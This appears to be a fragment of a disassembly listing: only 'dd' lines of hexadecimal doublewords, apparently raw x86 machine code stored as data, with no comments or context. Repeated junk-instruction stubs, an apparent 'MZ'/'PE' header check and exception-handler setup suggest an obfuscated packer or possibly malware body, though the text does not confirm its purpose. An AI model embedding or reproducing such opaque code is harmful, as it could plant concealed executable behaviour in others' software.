		dd 16D7F9Ah, 57006A60h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 51CCB660h, 9E16A4EDh, 0BD2BEDB3h
		dd 6A61EE1h, 0DB58B60h,	0F906A631h, 0D98C6661h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1AC35141h, 64826CCFh
		dd 6686CADAh, 536CDF81h, 6A04E180h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 95ABC355h
		dd 4054BF57h, 0A5B3922h, 0C3840FC9h, 89000000h,	0A60F31B5h
		dd 0DD858B06h, 8A06A615h, 9D8533F8h, 0F06A620h,	138Ch
		dd 0BE85100h, 81000000h, 28D89BA2h, 9094953Bh, 5F5BAA3Fh
		dd 11800F90h, 0E8000000h, 9, 0E99F6235h, 0EBA7DF11h, 5B5F516Eh
		dd 68C0F50h, 0F000000h,	88h, 8D099000h,	6A62B8Dh, 0DE9006Ah
		dd 0E000000h, 5C2AC205h, 0ADC68931h, 1485E9BBh,	89548C68h
		dd 0F88B6602h, 73243481h, 81029657h, 0ED74C3EFh, 3595FF6Bh
		dd 906A60Bh, 0A61F419Dh, 0A6EB8006h, 0B6A38589h, 9D8B06A9h
		dd 6A60971h, 161E9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 404E5404h, 858BC5A8h
		dd 6A9B69Bh, 7919D0Bh, 0C706A6h, 18h, 1DDD8589h, 0B58B06A6h
		dd 6A9B69Fh, 81D9BF0Fh,	629978EBh, 0D9858B40h, 8906A62Eh
		dd 0A62D01BDh, 8B068906h, 0DD858BD8h, 6A06A615h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 91F2C353h, 7B67DBCh,	4468946h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 11C35141h, 219D75EEh, 0B95670E1h
		dd 7A29F5BBh, 81950106h, 5006A607h, 3454BF66h, 8B243489h
		dd 0A60145BDh, 9BB5FF06h, 8906A9B6h, 0A6136985h, 35D96806h
		dd 6050C477h, 0BF66D88Bh, 5B61A45Ch, 26240481h,	0F3BA7CEh
		dd 688h, 0EDBD8B00h, 8D06A608h,	0A9B6A385h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E9729AFDh, 9, 0C64621E8h, 0A18F149Ch, 219D89EDh, 5006A632h
		dd 89F88B66h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0D72E1C3h, 0A5A902F1h, 66EBABA1h
		dd 95FFDA8Bh, 6A60B35h,	76D2BFFCh, 0E9611BDAh, 11h, 0E3D96755h
		dd 0F59743A5h, 944B4F6Dh, 290A6DBEh, 0E985C7ACh, 306A60Bh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 97A4C351h, 0A3BD835Ch,	6A9B6h
		dd 43840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E81B06C3h, 10h,	39E037h, 729BAC45h
		dd 9749AB6Fh, 0A4B251ABh, 1CA99D03h, 0E95F06A6h, 20h, 3255CDBBh
		dd 0C305039h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 29ED9D8Bh, 6A06A6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 599159C3h, 0F9B7D2Bh
		dd 28Ah, 83DA8A00h, 0A60BE9BDh,	850F0306h, 428h, 0B6A3BD83h
		dd 0F0006A9h, 41B84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0E670D1D7h, 0D58529A1h
		dd 0FF06A60Ah, 0A9B6A3B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0F8534F3Fh
		dd 1D95FF5Bh, 6A06A60Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0A65BC351h,	5802E683h
		dd 284B13F6h, 14E9h, 0C9F73400h, 8C310934h, 5E9E7BB3h
		dd 0DC03236Ch, 75415A4Ah, 97B58BA6h, 6606A9B6h,	0C7A6A2BBh
		dd 1000106h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0EBA5BB19h, 55A565F4h, 0CF816636h
		dd 0BB50EE33h, 22724886h, 6A243489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9389C356h
		dd 11810FDAh, 0E8000000h, 5, 2085FD13h,	0D9D8B0Dh, 5B06A62Ch
		dd 0AE9h, 724A8400h, 766FC7A8h,	0FF6DBD9Ah, 0A9B6A3B5h
		dd 0C3816606h, 95FF8117h, 6A629D1h, 21559D8Bh, 9D0B06A6h
		dd 6A625CDh, 0B697B58Bh, 6A06A9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0FC86FEC3h, 80C6F273h
		dd 8957CEDBh, 0A60D55B5h, 0BD895B06h, 6A62DADh,	769858Bh
		dd 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 898DD5C3h, 0A61EE995h, 0C4868906h, 0F000000h
		dd 0BD23DFBFh, 6A60B0Dh, 6AD958Bh, 6A06A6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0D98ACFC3h
		dd 6004C283h, 8E9h, 0F1116300h,	9D441FFEh, 5089617Ah, 0FEB70F20h
		dd 0CA6B858Dh, 6A06A9h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0A8F2B5C3h, 0C26B2147h
		dd 29B58D29h, 868906A6h, 0B8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 80C35646h, 0BF66006Ah, 0B5FF070Dh
		dd 6A9B6A3h, 0FF24D780h, 0A6066D95h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 16820F55h
		dd 0E9000000h, 11h, 0D8E3F668h,	0FB248160h, 5F22B2AFh
		dd 2FF96FB0h, 0F6096D3h, 1A87h,	14E800h, 8C9A0000h, 33A7F752h
		dd 0CB338A56h, 5B35CFD9h, 0A8556FBCh, 615E6D80h, 7B55BF50h
		dd 0F962375h, 0B5FFFEB7h, 6A9B6A3h, 0FFDABF0Fh,	0A60A1595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 95893F06h, 6A60E3Dh, 12E8h, 5F0C4700h, 378BC87Ah
		dd 0A74EC530h, 7F2BD3D0h, 890F66B4h, 0A6301995h, 0BD835F06h
		dd 6A62B29h, 3A840F00h,	50000000h, 12E9h, 3A17E900h, 0B2741379h
		dd 827CE849h, 72E90ED4h, 899CAF85h, 0E8602434h,	13h, 0DDB169D1h
		dd 0DE8E253Eh, 0FB623912h, 6712B7Dh, 0F516D20Fh, 0F88B665Fh
		dd 0A3B5FF61h, 2906A9B6h, 0A60AAD8Dh, 5595FF06h, 0FF06A61Dh
		dd 0A9B6A3B5h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 10E8D139h, 6000000h, 7A0EC751h
		dd 580BCA11h, 13A17D09h, 5F321F7Ch, 1B05B529h, 95FF06A6h
		dd 6A62AD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0EBC35646h, 0BD83A39Bh,	6A62CF5h, 2A840F02h, 80000000h
		dd 858B3AF7h, 6A61841h,	5E9h, 8B827D00h, 0C6BAE1h, 0A9BD8B00h
		dd 0E906A62Bh, 9, 0C3B2F629h, 0CD33346Bh, 0D185C7D2h, 6A62Eh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0D75C351h, 0B5C47D2Ah,	0D9B70F94h
		dd 0FFF3A5E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0F61735E3h, 0E3816653h
		dd 8B5BDB80h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0D65F1802h, 0F40A3EDh, 83h, 0AD858D00h
		dd 6A06A62Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0FD30C352h, 626FD3D4h,	11C18D29h
		dd 816606A6h, 90484DF3h, 0FD3BBB66h, 6A9050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 72300EC3h
		dd 10548626h, 12E88Ch, 0F38D0000h, 6F1A5163h, 205BF983h
		dd 9E09CB03h, 612C8C9Ch, 11D9D8Bh, 0B5F06A6h, 0A619EDBDh
		dd 6A006A06h, 1BBF6600h, 8C858D69h, 6A06AB32h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 4072C350h, 67C11D6Ch, 6676D105h, 81FFE5BBh, 0C29539EBh
		dd 5C08370h, 85CF8166h,	48950FBh, 840F5224h, 6,	1929B589h
		dd 6A5B06A6h, 0B19D2900h, 6A06A610h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0CF16A764h
		dd 0A9DBD8Bh, 95FF06A6h, 6A61245h, 8DD8B70Fh, 0A994FF8Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0D1FF2E23h, 0DE6E1EBBh, 51BD8368h, 106A614h
		dd 56850Fh, 0F88B0000h,	0BD01026Ah, 6A63491h, 2A8DBD8Bh
		dd 505006A6h, 895B5B57h, 95FF2404h, 6A6066Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B1C35747h, 8B0F2060h
		dd 3, 0E9F98B66h, 0Ch, 1632B124h, 9B5602ACh, 2313AE6Ch
		dd 0D10E9h, 0E800h, 815D0000h, 0AB3296EDh, 0D5BD8B06h
		dd 8906A607h, 0A62D319Dh, 8B515606h, 8D5F5FFEh,	0A9864A85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0F50BB01h, 48Bh,	71BF6600h, 240489F7h, 0FF64D98Ah
		dd 35h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1404h, 0C3514100h, 0DE8B663Ch, 64DEBF0Fh, 2589h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 2D7EEDC3h, 0E7467071h, 6D85FFE1h, 906A612h, 0A60615B5h
		dd 1FF6A06h, 0A607B185h, 0EDB5FF06h, 6A06A615h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0D7C4C355h, 0A498589h, 95FF06A6h, 6A6116Dh, 0F8E9h
		dd 8B00B000h, 0A61F599Dh, 8B70E606h, 3C71E4D8h,	0E2830F61h
		dd 8B000000h, 0A614ED9Dh, 0C8B60F06h, 8E9h, 0DE5E8000h
		dd 484709E2h, 6BA3Fh, 0BF0F0000h, 0F99D23DAh, 8B06A62Bh
		dd 5BD89C1h, 0C106A61Eh, 0BD8904E8h, 6A62BD5h, 31E2F766h
		dd 0A60BE19Dh, 29C82B06h, 0A62169BDh, 0FD18B06h, 589h
		dd 35D5BB00h, 8AE9120Ah, 8B000000h, 4C858BD8h, 83494755h
		dd 0CE907C0h, 33000000h, 4DCC72E6h, 0F3C73CB4h,	832E7A3Dh
		dd 0BB6600C0h, 0D03B22BCh, 10830Fh, 81660000h, 0E94CCFEFh
		dd 55h,	14D19D8Bh, 8D8B06A6h, 0FFFFFFFFh, 2BA19D8Bh, 0E18306A6h
		dd 3A840F01h, 0E9000000h, 13h, 53517A4Eh, 6A05A685h, 87D6691Ch
		dd 0BAFA8814h, 0BBF06D3Ch, 646EC20h, 0FFFFA583h, 66FEFFFFh
		dd 94CAEF81h, 554C9589h, 8D894947h, 6A60101h, 0E9h, 0B9B58D00h
		dd 6A06AAAAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8BC8C351h, 0A61B859Dh,	81006A06h
		dd 62CCCAEFh, 9D896036h, 6A63069h, 134DB589h, 0FF6106A6h
		dd 0A6295995h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 18ACB4BDh, 0A44A8ED9h
		dd 8C0F1845h, 6, 9342D781h, 0BEB900FBh,	8B000010h, 0A612B1BDh
		dd 0FCE18306h, 0DE9h, 38B4E900h, 7C5BF51Dh, 0FA2F2A87h
		dd 6AFCBFF7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 73BFC350h, 775C70C7h, 9D8BB7B0h
		dd 6A6085Dh, 1985B589h,	0C02B06A6h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 8AC35747h, 4634100Ch, 0E8FC95B3h
		dd 0BA19h, 0BB660000h, 33ADA1B5h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0DA8B51C3h, 9518D29h, 0DF906A6h, 88h, 6850Fh, 8D890000h
		dd 6A63219h, 6AD958Bh, 6A06A6h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 805734C3h, 0BD03F9EBh
		dd 6A62DA5h, 40D8D8Bh, 6A06A6h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 2A62AEC3h, 0F8B8B7FCh
		dd 0F884916Ah, 18919589h, 8B5006A6h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0D2C35545h, 9DB58928h, 6A06A60Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0A0D3C353h, 0A2CF8166h, 0DDBD836Ch, 6A60Fh, 60840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h
		dd 1FF3E9C3h, 8A83C423h, 0B8F8h, 95890000h, 6A62CCDh, 4F558D8Dh
		dd 9D8B06A6h, 6A61D39h,	6AE1FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 11B410C3h, 0F39844FCh
		dd 0BD83801Ch, 6A60BE9h, 44840F00h, 81000004h, 3DBAB7EBh
		dd 0E9BD837Ch, 106A60Bh, 44C840Fh, 14E80000h, 7B000000h
		dd 1372970Ah, 0E7A1D07h, 0E98B0AB7h, 1701A7B5h,	0E97048E2h
		dd 7, 0DA51A34Ch, 5BF7CAB5h, 0BE9BD83h,	0F0306A6h, 3E386h
		dd 18DBB00h, 66600CC4h,	8C66F98Bh, 55006AD9h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0B0A21491h
		dd 800B8E48h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0B70FD0C3h, 0FC90ADFh, 11E84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 98767DFCh, 8B452AA5h, 0A62C499Dh, 0DD858B06h, 8906A615h
		dd 0A6111195h, 9D853306h, 8906A620h, 0A634818Dh, 52509006h
		dd 310FC3B3h, 0B206BF66h, 0B350585Ah, 6A9080h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 3DBB95C3h, 6A0035AFh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0E82363E5h, 1D398D09h
		dd 766806A6h, 0E9547030h, 0Eh, 160696AEh, 9BE51318h, 892C7495h
		dd 3481668Bh, 6F338924h, 49BB6654h, 3595FF77h, 6A06A60Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 553BC357h, 60B1B2ECh, 0B59FC781h,	89614945h
		dd 0A9B6A385h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0B634C0C8h, 0F1E91928h
		dd 56000001h, 2F319589h, 8B5F06A6h, 0A9B69B85h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0FAFE52BDh, 27B65D50h, 0BB4BDB80h, 1505660Eh, 1800C7h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 10E8D0C3h, 49000000h, 40EC2307h, 0C517AAA6h
		dd 0FFD1AC5Bh, 89D3A6EBh, 0A62CCD8Dh, 0B58B5B06h, 6A9B69Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0C3C35747h
		dd 0BF6697BBh, 858B559Dh, 6A62ED9h, 89F8BF0Fh, 1870F06h
		dd 0F5000000h, 15DD858Bh, 468906A6h, 51006A04h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 17DA98Ah, 0E94D7E0Dh
		dd 0Ch,	44985FFAh, 9CBADA34h, 34F08DC8h, 0BBBB5096h, 9653A33Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 32C35646h
		dd 0FFC3563Ah, 0A9B69BB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 35627B57h
		dd 682A6710h, 9E4A24B8h, 7E8h, 0DFB64500h, 702072B2h, 815B45B7h
		dd 0DF472404h, 6A61D4h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0E2AB72C3h, 3FB6E514h, 0F42E470h
		dd 68Ah, 859D8B00h, 8D06A626h, 0A9B6A385h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0BE851BD3h, 5995896Ch, 5006A608h, 489FB8Bh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0BF78C522h, 0AB2DE850h, 1B25BF97h, 816645D0h, 0FFD883C7h
		dd 0A60B3595h, 0DA8B6606h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 58689F1h, 88D7710Ah
		dd 0DB816647h, 85C7F890h, 6A60BE9h, 3, 1C299D8Bh, 0BD8306A6h
		dd 6A9B6A3h, 3D840F00h,	50000000h, 8E8h, 76B90F00h, 62CDC3FCh
		dd 5BDE8B87h, 41E95Bh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0A02DE7C3h, 0BD8BAF37h
		dd 6A62D45h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E5EC350h, 0E994D193h,	0Bh, 8229B83Eh
		dd 2E41457Fh, 6ACA2C5Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 40B6C350h, 5D0B9580h
		dd 8B58508Fh, 0A609B19Dh, 0E9BD8306h, 306A60Bh,	378850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0B50EE8C3h, 0F1248726h, 8A83019Bh, 0A3BD83DCh
		dd 6A9B6h, 344840Fh, 0DF810000h, 1FA55F0h, 0B6A3B5FFh
		dd 0BB6606A9h, 95FF28CAh, 6A60C1Dh, 1F51BD8Bh, 816606A6h
		dd 8B3211EBh, 0A9B697B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 68E000AEh
		dd 41D8501h, 6C706A6h, 10001h, 6EBEBB66h, 5037B796h, 96F98B66h
		dd 4056DF81h, 0FE8B5922h, 0B6A3B5FFh, 6A06A9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0B84DA8C3h, 958913CEh, 6A62A09h, 29D195FFh, 0BD0106A6h
		dd 6A618C9h, 0B697B58Bh, 0E96006A9h, 6,	0AB83019Bh, 8B61C79Dh
		dd 0A6076985h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 6B9560ECh, 0C48689h, 0FA8B0000h
		dd 6AD958Bh, 6A06A6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BE7C24C3h, 4D836385h, 38A0Fh, 8B660000h
		dd 2559BBFBh, 0C283373Dh, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C7BB6613h
		dd 11E853C9h, 6E000000h, 377D6F74h, 0AD8528E2h,	49F27C38h
		dd 2ED5B228h, 5F5B57B3h, 6A205089h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0D182C355h
		dd 20FB675h, 0D83A94A7h, 0CA6B858Dh, 816606A9h,	890FF4CBh
		dd 0B886h, 9FDB8100h, 6A468771h, 4820F00h, 66000000h, 0FF210DBFh
		dd 0A9B6A3B5h, 0D9BD8B06h, 0FF06A62Ch, 0A6066D95h, 0F99D8906h
		dd 9606A629h, 0E8C38B60h, 10h, 534AC79Dh, 0DF648DF4h, 0F942D090h
		dd 0BEF92C04h, 0AE8h, 31A2C700h, 32781217h, 5AF353D7h
		dd 66506159h, 96CD17BFh, 3242EB81h, 0B5FF68F7h,	6A9B6A3h
		dd 1995BD8Bh, 0BD8B06A6h, 6A601C1h, 0A1595FFh, 0E95706A6h
		dd 5, 5A65C314h, 0F88B5FB2h, 2B29BD83h,	0F0006A6h, 5884h
		dd 2840F00h, 8B000000h,	525050D9h, 880F310Fh, 16h, 11E9h
		dd 4BC4AB00h, 95D2DC6Bh, 0D79705A5h, 85B9CC1Eh,	585AAEA4h
		dd 6A243489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 7E41C353h, 4EDB119h, 25C58D89h
		dd 0F55206A6h, 0A3B5FF5Bh, 8906A9B6h, 0A615B5B5h, 5595FF06h
		dd 0E806A61Dh, 0Eh, 3522A0D2h, 4F06B1D0h
		dd 84BE6DEAh, 81665EA5h, 5F6054C3h, 0B6A3B5FFh,	6A06A9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 95FF4FC3h, 6A62AD9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 62C35646h, 505EBA8Ch,	0AB1A5531h, 2CF5BD83h
		dd 0F0206A6h, 3A84h, 0D3816600h, 858BF230h, 6A61841h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 37C35040h, 0B5896943h
		dd 6A630D9h, 1B019D8Bh,	0C606A6h, 0C702B700h, 0A62ED185h
		dd 6, 0C7816600h, 6E9C783h, 6AFFFFF4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A845C356h
		dd 8B601B50h, 0A619C1BDh, 89DA8B06h, 0A61CC185h, 6AC18B06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0A020C352h, 0E8159E20h, 0F5DA3B8h, 0C8Ch
		dd 7E900h, 8ED40000h, 815C9ADFh, 0BA08h, 0EA81F00Eh, 0F0000000h
		dd 8914C283h, 0A618A195h, 14EA8306h, 4047858Dh,	645006ABh
		dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h
		dd 8166FFFFh, 0F5A4D38h, 1285h,	50B70F00h, 81D0033Ch, 45503Ah
		dd 0A840F00h, 2D000000h, 1000h,	0FFFFD9E9h, 89C88BFFh
		dd 0A61A9585h, 3C400306h, 650B70Fh, 208D9589h, 508B06A6h
		dd 6D958950h, 506A634h,	0F8h, 30C508Bh,	459589D1h, 306A610h
		dd 95890850h, 6A6055Dh,	58F64h,	83000000h, 13E904C4h, 51000000h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 0BD83C3C0h
		dd 6A61B25h, 24840F00h,	0C6000000h, 0A60C2985h,	0D2684706h
		dd 0FFD49AA7h, 0A60919B5h, 20858D06h, 0FF06A971h, 0FF006AD0h
		dd 118589D0h, 8B06A612h, 6E8D8DD3h, 6A06AB41h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8475C351h, 0C7A8724Ah, 0BD9A766Fh, 8E9h, 0BA09DF00h
		dd 94AF4DA9h, 0AD8D89E2h, 8B06A606h, 0A6107DBDh, 0D85C706h
		dd 2806A604h, 6A00006Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0C042C353h,	40A0006Eh
		dd 958994CAh, 6A60F95h,	0C394B866h, 7E9h, 9E28C500h, 0D3E5DBEDh
		dd 0BE985C7h, 6A6h, 85290000h, 6A61161h, 0FFF88B66h, 0A62DCDB5h
		dd 9950B06h, 0FF06A611h, 0A61A7995h, 0EE806h, 0FA950000h
		dd 44483605h, 0B6BA3464h, 2E5AE966h, 14880Fh, 0FE90000h
		dd 11000000h, 0F8C9B33Ah, 0A4E4D2E5h, 61B145AFh, 6A586796h
		dd 5995FF00h, 8B06A629h, 1E6AEBC0h, 0EA91F8E5h,	0E626D2BFh
		dd 2AC3E38Fh, 8C5BE5D3h, 0F3D29A5Dh, 0AE907DDEh, 0B558576Fh
		dd 9D269BC0h, 0D41F8E14h, 142F24B5h, 0BF8BF90h,	0F5F955B6h
		dd 0E92B351Fh, 60C89915h, 0F00BA291h, 799FF202h, 1609D34Eh
		dd 0E4812029h, 76E3D48Dh, 884CB1F6h, 9CEBCD22h,	3735834Bh
		dd 430AFF2Ah, 1DD76C12h, 3A00888Ah, 0F5CDDCBCh,	978D8D8Bh
		dd 6A06AB42h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 66C5C351h, 8D89C38Bh, 6A606ADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6AC35646h
		dd 0A04C69C2h, 89C3F1DCh, 0A6012995h, 0D85C706h, 5806A604h
		dd 0C7000062h, 0A60BE985h, 6, 11E900h, 770000h,	0BDA6AD13h
		dd 0F73E9F81h, 0A7B85C23h, 0FFCE4F2Ah, 0A62095B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 99BD31AEh, 0F506A616h, 1A7995FFh, 0BD2906A6h, 6A62971h
		dd 95FF006Ah, 6A62959h,	38EBC08Bh, 0B856A1F6h, 1F092A91h
		dd 1803FFF9h, 0B29F6536h, 0B9EF9932h, 6E4B9916h, 0A56B399h
		dd 1B29CE4h, 0B9B47874h, 4C65E55Dh, 7D12DA9Ch, 0BC9E29BCh
		dd 0C08D18C0h, 0B4B61883h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h
		dd 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h,	3E2A1AEFh
		dd 0B44E6033h, 67A5E4FFh, 3E2F2AF8h, 0B8A3BEA0h, 67209A22h
		dd 81A3BA79h, 1B2095E5h, 3E3D16D7h, 1D293333h, 98263383h
		dd 0DAC2B6C0h, 1576350Dh, 3364E5D6h, 0DD963AFh,	9E8002CDh
		dd 98266483h, 15235935h, 3364D51Fh, 1DAB634Bh, 9E8D7170h
		dd 0B1B3CC03h, 93209580h, 0A1A23C14h, 1526336Ah, 3364D5B0h
		dd 0AACE639Ch, 0D826334Dh, 74A3BEF6h, 0C8209811h, 0DAC0B624h
		dd 6776357Fh, 3E38A6FFh, 94E2B033h, 0DAC0B617h,	157635E6h
		dd 3364E523h, 0DD96355h, 9E8002B0h, 9826513Dh, 74AD666Ah
		dd 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h
		dd 67D9C62Ch, 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h
		dd 68AD03A7h, 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h
		dd 66A57D89h, 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh
		dd 67D9FDD6h, 0C6E7B856h, 517F6C8Eh, 152637A8h,	3364E788h
		dd 91ABBE9Ch, 20209809h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8DFFFFFFh, 0AB4409B5h, 288D8D06h, 2B06AB44h
